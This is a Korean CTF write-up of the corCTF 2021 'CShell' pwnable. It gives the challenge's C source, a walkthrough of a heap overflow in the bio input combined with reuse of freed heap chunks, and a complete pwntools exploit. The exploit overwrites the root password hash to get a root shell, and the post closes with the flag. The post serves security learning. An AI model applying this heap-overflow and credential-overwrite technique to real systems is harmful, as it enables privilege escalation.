Sechack
corCTF 2021 - CShell 풀이 본문
이문제는 소스코드를 제공해준다. 아마 바이너리만 제공했다면 못풀었을것 같다.
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <crypt.h>
//gcc Cshell.c -static -lcrypt -o Cshell
struct users {
char name[8];
char passwd[35];
};
struct tracker{
struct tracker *next;
struct users *ptr;
char name[8];
long int id;
};
char * alex_buff;
char * Charlie_buff;
char * Johnny_buff;
char * Eric_buff;
struct users *user;
struct users *root;
struct tracker *root_t;
struct tracker *user_t;
char *username[8];
char *userbuffer;
int uid=1000;
int length;
char salt[5] = "1337\0";
char *hash;
void setup(){
char password_L[33];
puts("Welcome to Cshell, a very restricted shell.\nPlease create a profile.");
printf("Enter a username up to 8 characters long.\n> ");
scanf("%8s",username);
printf("Welcome to the system %s, you are our 3rd user. We used to have more but some have deleted their accounts.\nCreate a password.\n> ",username);
scanf("%32s",&password_L);
hash = crypt(password_L,salt);
printf("How many characters will your bio be (200 max)?\n> ");
scanf("%d",&length);
userbuffer = malloc(length + 8);
printf("Great, please type your bio.\n> ");
getchar();
fgets((userbuffer + 8),201,stdin);
}
void logout(){
fflush(stdin);
getchar();
struct tracker *ptr;
printf("Username:");
char username_l[9];
char password_l[32];
char *hash;
scanf("%8s",username_l);
for (ptr = root_t; ptr != NULL; ptr = root_t->next) {
if (strcmp(ptr->name, username_l) == 0) {
printf("Password:");
scanf("%32s",password_l);
hash = crypt(password_l,salt);
if (strcmp(hash,ptr->ptr->passwd) == 0){
strcpy(username,ptr->name);
uid = ptr->id;
puts("Authenticated!");
menu();
}
else{
puts("Incorrect");
logout();
}
}
else
{
if (ptr->next==0)
{
puts("Sorry no users with that name.");
logout();
}
}
}
}
void whoami(){
printf("%s, uid: %d\n",username,uid);
menu();
}
void bash(){
if (uid == 0){
system("bash");
}
else
{
puts("Who do you think you are?");
exit(0);
}
}
void squad(){
puts("..");
menu();
}
void banner(){
puts(" /\\");
puts(" {.-}");
puts(" ;_.-'\\");
puts(" { _.}_");
puts(" \\.-' / `,");
puts(" \\ | /");
puts(" \\ | ,/");
puts(" \\|_/");
puts("");
}
void menu(){
puts("+----------------------+");
puts("| Commands |");
puts("+----------------------+");
puts("| 1. logout |");
puts("| 2. whoami |");
puts("| 3. bash (ROOT ONLY!) |");
puts("| 4. squad |");
puts("| 5. exit |");
puts("+----------------------+");
int option;
printf("Choice > ");
scanf("%i",&option);
switch(option){
case 1:
logout();
case 2:
whoami();
case 3:
bash();
case 4:
squad();
case 5:
exit(0);
default:
puts("[!] invalid choice \n");
break;
}
}
void history(){
alex_buff = malloc(0x40);
char alex_data[0x40] = "Alex\nJust a user on this system.\0";
char Johnny[0x50] = "Johnny\n Not sure why I am a user on this system.\0";
char Charlie[0x50] ="Charlie\nI do not trust the security of this program...\0";
char Eric[0x60] = "Eric\nThis is one of the best programs I have ever used!\0";
strcpy(alex_buff,alex_data);
Charlie_buff = malloc(0x50);
strcpy(Charlie_buff,Charlie);
Johnny_buff = malloc(0x60);
strcpy(Johnny_buff,Johnny);
Eric_buff = malloc(0x80);
strcpy(Eric_buff,Eric);
free(Charlie_buff);
free(Eric_buff);
}
int main(){
setvbuf(stdout, 0 , 2 , 0);
setvbuf(stdin, 0 , 2 , 0);
root_t = malloc(sizeof(struct tracker));
user_t = malloc(sizeof(struct tracker));
history();
banner();
user = malloc(sizeof(struct users )* 4);
root = user + 1;
strcpy(user->name,"tempname");
strcpy(user->passwd,"placeholder");
strcpy(root->name,"root");
strcpy(root->passwd,"guessme:)");
strcpy(root_t->name,"root");
root_t->ptr = root;
root_t->id = 0;
root_t->next = user_t;
setup();
strcpy(user->name,username);
strcpy(user->passwd,hash);
strcpy(user_t->name,username);
user_t->id=1000;
user_t->ptr = user;
user_t->next = NULL;
menu();
return 0;
}
소스코드를 잘 보면 커널문제 컨셉인것 같다. root로 로그인을 하던 user_t구조체의 id값을 바꾸던 id가 1000인걸 0으로만 바꾸면 풀리게 된다. 그리고 구조체들은 단일 연결리스트 구조를 띄고있다.
int main(){
setvbuf(stdout, 0 , 2 , 0);
setvbuf(stdin, 0 , 2 , 0);
root_t = malloc(sizeof(struct tracker));
user_t = malloc(sizeof(struct tracker));
history();
banner();
user = malloc(sizeof(struct users )* 4);
root = user + 1;
strcpy(user->name,"tempname");
strcpy(user->passwd,"placeholder");
strcpy(root->name,"root");
strcpy(root->passwd,"guessme:)");
strcpy(root_t->name,"root");
root_t->ptr = root;
root_t->id = 0;
root_t->next = user_t;
setup();
strcpy(user->name,username);
strcpy(user->passwd,hash);
strcpy(user_t->name,username);
user_t->id=1000;
user_t->ptr = user;
user_t->next = NULL;
menu();
return 0;
}
먼저 main함수를 보면 root_t, user_t구조체 포인터에 동적할당을 진행한 뒤에 history함수를 호출하고 user구조체와 root구조체를 세팅해준 후 strcpy를 이용해서 값을 복사하고 root_t구조체를 세팅한 후에 setup함수를 호출한다. 여기서 root구조체 포인터에는 동적할당이 아닌 user + 1을 저장한다. 즉 user구조체 포인터와 root구조체 포인터는 똑같은 힙 청크를 가리키게 된다.
void history(){
alex_buff = malloc(0x40);
char alex_data[0x40] = "Alex\nJust a user on this system.\0";
char Johnny[0x50] = "Johnny\n Not sure why I am a user on this system.\0";
char Charlie[0x50] ="Charlie\nI do not trust the security of this program...\0";
char Eric[0x60] = "Eric\nThis is one of the best programs I have ever used!\0";
strcpy(alex_buff,alex_data);
Charlie_buff = malloc(0x50);
strcpy(Charlie_buff,Charlie);
Johnny_buff = malloc(0x60);
strcpy(Johnny_buff,Johnny);
Eric_buff = malloc(0x80);
strcpy(Eric_buff,Eric);
free(Charlie_buff);
free(Eric_buff);
}
그리고 history함수를 보면 쓸데없는 행위를 한다. malloc을 3개 하고 2개의 chunk를 해제한다. CTF문제에서 이런 쓸데없는 기능은 대부분 취약점이 터지거나 다른 취약점과 연계되거나 익스플로잇에 직접적인 연관성이 있거나 한데 일단 malloc하고 free하는게 다니까 기능정도만 파악하고 일단은 넘어간다.
void logout(){
fflush(stdin);
getchar();
struct tracker *ptr;
printf("Username:");
char username_l[9];
char password_l[32];
char *hash;
scanf("%8s",username_l);
for (ptr = root_t; ptr != NULL; ptr = root_t->next) {
if (strcmp(ptr->name, username_l) == 0) {
printf("Password:");
scanf("%32s",password_l);
hash = crypt(password_l,salt);
if (strcmp(hash,ptr->ptr->passwd) == 0){
strcpy(username,ptr->name);
uid = ptr->id;
puts("Authenticated!");
menu();
}
else{
puts("Incorrect");
logout();
}
}
else
{
if (ptr->next==0)
{
puts("Sorry no users with that name.");
logout();
}
}
}
}
logout함수이다. 이 함수는 이름과 패스워드를 입력받아서 이름을 체크하고 패스워드를 crypt함수로 한번 해싱(?) 해줘서 암호화된 값끼리 체크를 한다. 그리고 uid에 ptr->uid를 집어넣는다. 그러면 root계정을 로그아웃 하면 uid를 0으로 만들 수 있을것이다. 하지만 문제가 하나 있다. root의 패스워드는 guessme:)라는 값이다. 즉 crypt함수 안에 어떤 값을 넣었을때 guessme:)라는 값이 나와야 한다는건데 1337이라는 솔트값도 붙고 아무튼 불가능에 가깝다. 이건 크립토나 리버싱이 아닌 포너블 문제이다. 따라서 패스워드를 맞추는게 아니라 다른 방법으로 풀이가 가능할것이다.
void setup(){
char password_L[33];
puts("Welcome to Cshell, a very restricted shell.\nPlease create a profile.");
printf("Enter a username up to 8 characters long.\n> ");
scanf("%8s",username);
printf("Welcome to the system %s, you are our 3rd user. We used to have more but some have deleted their accounts.\nCreate a password.\n> ",username);
scanf("%32s",&password_L);
hash = crypt(password_L,salt);
printf("How many characters will your bio be (200 max)?\n> ");
scanf("%d",&length);
userbuffer = malloc(length + 8);
printf("Great, please type your bio.\n> ");
getchar();
fgets((userbuffer + 8),201,stdin);
}
다음으로 setup함수이다. 여기 잘보면 heap overflow가 터진다. length를 입력받고 length + 8만큼 malloc으로 힙 청크를 할당해주는데 아래 fgets에서 201바이트만큼 할당된 청크 + 8의 주소에 입력할 수 있다. 즉 length값을 작게 주면 다른 힙 청크를 덮을 수 있다는 말이다. 이제 이거를 어떻게 활용할지 잘 생각해보면 된다.
먼저 이 바이너리는 static linker로 컴파일 되어있다. 따라서 glibc기준으로 동작하는 gef의 heap chunks, heap bins와 같은 힙 디버깅에 유용한 꽤 강력한 명령어들을 사용하지 못한다. 따라서 힙 메모리를 사용하는 부분에 bp를 걸고 직접 x/gx로 메모리를 보는수밖에 없다. 먼저 length를 1로 줘보면
힙 구조는 이렇게 된다. top chunk와 인접한 곳에 할당이 되는데 이렇게되면 별다른 소득이 없다. 우리는 heap overflow로 user_t, root_t, user, root구조체중에 하나를 덮어쓸 수 있어야 한다. 앞서 history함수에서 chunk를 할당하고 해제하는 쓸데없는 행위를 했는데 힙은 해제된 청크랑 똑같은 크기의 할당요청이 들어오면 해당 청크를 재사용한다는 특성때문에 해제된 청크와 똑같은 size의 청크를 요청하게 된다면 해제된 청크를 재사용하게 된다. 따라서 top chunk와 인접한 주소에 할당되는것을 피할 수 있는것이다. 결론은 use after free + heap overflow이다. 따라서 size로 0x78을 줘보면 + 8을 하면서 malloc(80)이 호출될 것이고 history함수에서 해제되었던 청크가 재활용 될것이다.
진짜로 재활용이 된다. 그리고 할당된 청크 아래에는 0xc0을 size로 가지고 있는 청크가 있다. 0xc1에 1은 flags의 값이다. 0xc0크기의 청크는 continue해가면서 변화 관찰하면 앞서 소스코드상에서 확인한 user구조체 포인터와 root구조체 포인터가 가리키고 있는 청크임을 알 수 있다. 따라서 heap overflow로 저부분을 덮어주면 된다. 적당히 구조체 구조 맞춰서 덮어주면 된다. root의 passwd를 원하는 값으로 덮을 수 있고 이렇게되면 root계정으로 성공적으로 logout할 수 있게 되면서 uid가 0으로 바뀌게 되고 셸을 실행할 수 있다. 나는 Sechack을 crypt함수에 넣었을때 나오는 값인 13zgZgAR2lEpM로 root passwd를 덮어줬다.
from pwn import *
#r = process("./Cshell")
r = remote("pwn.be.ax", 5001)
r.sendlineafter("> ", "Sechack")
r.sendlineafter("> ", "Sechack")
r.sendlineafter("> ", str(0x78))
r.sendlineafter("> ", b"a"*0x80+p64(0xc1)+p64(0)*5+b"\x00"*3+b"root"+b"\x00"*4+b"13zgZgAR2lEpM")
r.sendlineafter("> ", "1")
r.sendlineafter("Username:", "root")
r.sendlineafter("Password:", "Sechack")
r.sendlineafter("> ", "3")
r.interactive()
전체 익스플로잇 코드이다. 처음에는 연결리스트 자료구조를 사용해서 쫄았었는데 생각보다 간단한 문제였다. 하지만 소스코드를 안줬으면 IDA디컴파일 만으로는 프로그램 구조를 제대로 파악 못해서 못풀었을것 같다.
성공적으로 셸이 따였다.
corctf{tc4ch3_r3u5e_p1u5_0v3rfl0w_equ4l5_r007}
'CTF' 카테고리의 다른 글
Tamil CTF pwnable Write up (0) | 2021.10.01 |
---|---|
FwordCTF 2021 - Blacklist Revenge 풀이 (0) | 2021.08.28 |
SSTF 2021 - SW Expert Academy 풀이 (0) | 2021.08.17 |
제 23회 해킹캠프 CTF write up (2) | 2021.08.15 |
redpwnCTF 2021 - simultaneity (0) | 2021.07.11 |